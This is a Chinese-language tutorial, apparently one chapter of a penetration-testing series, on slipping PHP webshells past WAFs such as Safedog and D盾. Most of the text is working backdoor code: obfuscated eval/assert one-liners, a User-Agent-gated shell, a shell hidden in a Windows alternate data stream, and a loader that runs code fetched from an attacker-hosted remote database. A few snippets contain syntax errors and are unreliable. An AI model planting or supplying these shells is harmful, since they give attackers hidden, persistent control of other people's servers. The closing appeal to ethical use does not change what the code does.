網絡安全從入門到精通(第十章-6) ByPass(下) WebShell的繞過

本文內容:
		~Waf檢測機制與繞過
		~進階知識
		~結束語

每日一句:
	每天進步一點點,持之以恆,終成大器
	天行健,君子以自強不息!

一、Waf檢測機制與繞過

	1,正常一句馬
			<?php	eval($_REQUEST['a']);?>	
			//這種有個Waf都會給幹掉
			
			//多說一下,參數爲數字也是可以的
			<?php	eval($_REQUEST[1]);?>
	
	2,稍微變形(一)
		變量函數繞過
		
			繞過語句:
				<?php	eval(end($_REQUEST));?>
			原理:
				Waf攔截的本質還是正則匹配問題
				通過測試我們發現僅僅一個eval()函數不攔截
			測試語句:
				<?php eval();?>
				進而測試
				<?php eval($_REQUEST)?;>		//這也不攔截
				那基本就是多一個“[]”的問題
			
			思考繞過方法:
				~替換掉eval()		-->assert()作用類似,試試不行
				~替換掉$_REQUEST[]	——>那就從這突破了
				
			深思:
				$_REQUEST[]是超全局變量,就是獲得傳參的
				提出一個函數:end()	
				//輸出數組中的當前元素和最後一個元素的值
			測試語句:
				<?php	var_dump(end($_REQUEST));?>
			傳參:	url ?a=1&b=123
			輸出:	string(3)"123"
			
			綜合:<?php	eval(end($_REQUEST));?>
				//這直接掃描也掃不出了
				//唯一缺陷沒有密碼,隨便傳參都可以,即
				//url ?sb=phpinfo();
	
	3,稍微變形(二)	
		常量函數繞過
		
			在提一個常量函數:define()
				<?php define("b","$_REQUEST[a]");eval(b);?>
			原理:
				$_REQUEST接收傳參前端a的傳參,
				然後執行操作:b=$_REQUEST['a'],
				最後,eval(b),
			
	4,稍微變形(三)
		字符串拼接 + 雙美元符號
			<?php
				$a='aww';
				$b='ert';
				$funcName=$a.$b;	//assert()函數的作用相等於eval()
				$x='funcName';
				$$x($_REQUEST['a']);	//爲什麼不用eval(),
					//二次解析  	//因爲php中eval不能拼接執行(規定)
			?>
			
	5,稍微變形(四)
		定義函數繞過
		
		通過上邊我們得知,eval($_REQUEST)	這不會被攔截
		但是加上“[]”就會攔截。所以,我們想辦法分離一下這兩部分
		
		通過測試,得知"($_REQUEST)[]"	我們中間加個“(”都可以躲過檢測
		上語句:
			<?php	
			function ss($_a){return $a;}
			eval(ss($_REQUEST)['a']);		//分割“REQUEST” 與 “[]”
			?>
			
	6,稍微變形(五)
		定義類繞過+魔術方法
		
		<?php	class User{
			public $name='';		//兩個單引號
			function__destruct(){
				eval("$this->name");	//定義變量name
			}
		}user = new User;	//實例化類
		$user->name = ".$_REQUEST['a'];		//給name賦值
		?>
			
		//魔術方法作用:當類被銷燬的時候調用
		//什麼是銷燬?就是類運行完畢後
		
		其實安全狗還是比較容易過的,像D盾之類的,就只能靠一些函數
		甚至反序列化函數
	
	7,稍微變形(六)
		一些騷的操作開始
		<?php	
			$COOKIE = $_COOKIE;	//獲取cookie傳參,存在變量cookie中
			foreach($COOKIE as $key => $value){		//將cookie的鍵值分離	
													//比如傳參a=1,分離爲:key=a,value=1
				if($key == 'assert'){				
					$key($_REQUEST['a']);
				}
			}
		?>
		
		//這個函數的最終效果是:assert($_REQUEST['a']);
		//在實戰中,url a=sb	且在  cookie中 設置assert=sb
	
	8,稍微變形(七)
		繼續一些騷的操作
		<?php
			$a=get_defined_functions();
			$a=['internal'][841]($_REQUEST['a']);
		?>
		
		//get_defined_functions()函數是返回所有已經定義的函數
		//可以var_dump(get_defined_functions())看看
		//get_defined_functions()['internal']	返回鍵爲“internal”的數組
		//['internal'][841] 就是“internal”這個一維數組的第841個數據 實際上就是assert
		//綜上,最終語句相等於assert($_REQUEST['a'])

二、微微進階

1,D盾相對安全狗來說,難度大了一些,但是問題也不大
	//寫一點吧,有興趣的同學可以瞭解一下
	小思路:
			<?php
				if($_SERVER['HTTP_USER_AGENT'] === '1')(
					eval(end($_REQUEST))
				)
			?>
		//傳輸的時候,改一下請求頭爲1,若是菜刀或者蟻劍之類的連接
		//直接將“1”改爲 相應軟件的請求頭即可

2,再來個隱藏小馬的法子
	當你getshell的時候,在命令行執行:
			echo "<?php	eval($_REQUEST['a']);?>" >> /:626.txt
	在任意一個php文件中:
			<?php	include('/:626.txt')?>
	
	作用就是,這個小馬被隱藏,dir也是看不到的
	但是,僅僅可以在win系統 --->安全狗是掃不出的,D盾的話,會報可以引用
	可以在前邊在加點函數繞過,就不擴展了,有興趣自己去試
	
3,制勝大法
	<?php
		eval(mysqli_fetch_assoc(mysqli_query(mysqli_connect('127.0.0.1','root','root','數據庫名'),'select * from 表名'))['列名']);
	?>
	//本質就是讓服務器去連接讀取我們放在公網的數據庫的內容,
	//我們在數據庫具體的表存入:
			eval($_REQUEST['a']);
	
	最後,服務器可以去買個學生機之類的,記得貌似9.9一個月

三,結束語

1,到這裏,耗時近2月的小白成長之路已經接近尾聲。等等我修正幾天,看看再開
	一個進階欄目。不管怎麼說,大家一定要注重積累,1萬小時定理。
	
2,注意滲透測試的尺度,不要碰黑產。做一個正直的白帽子
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章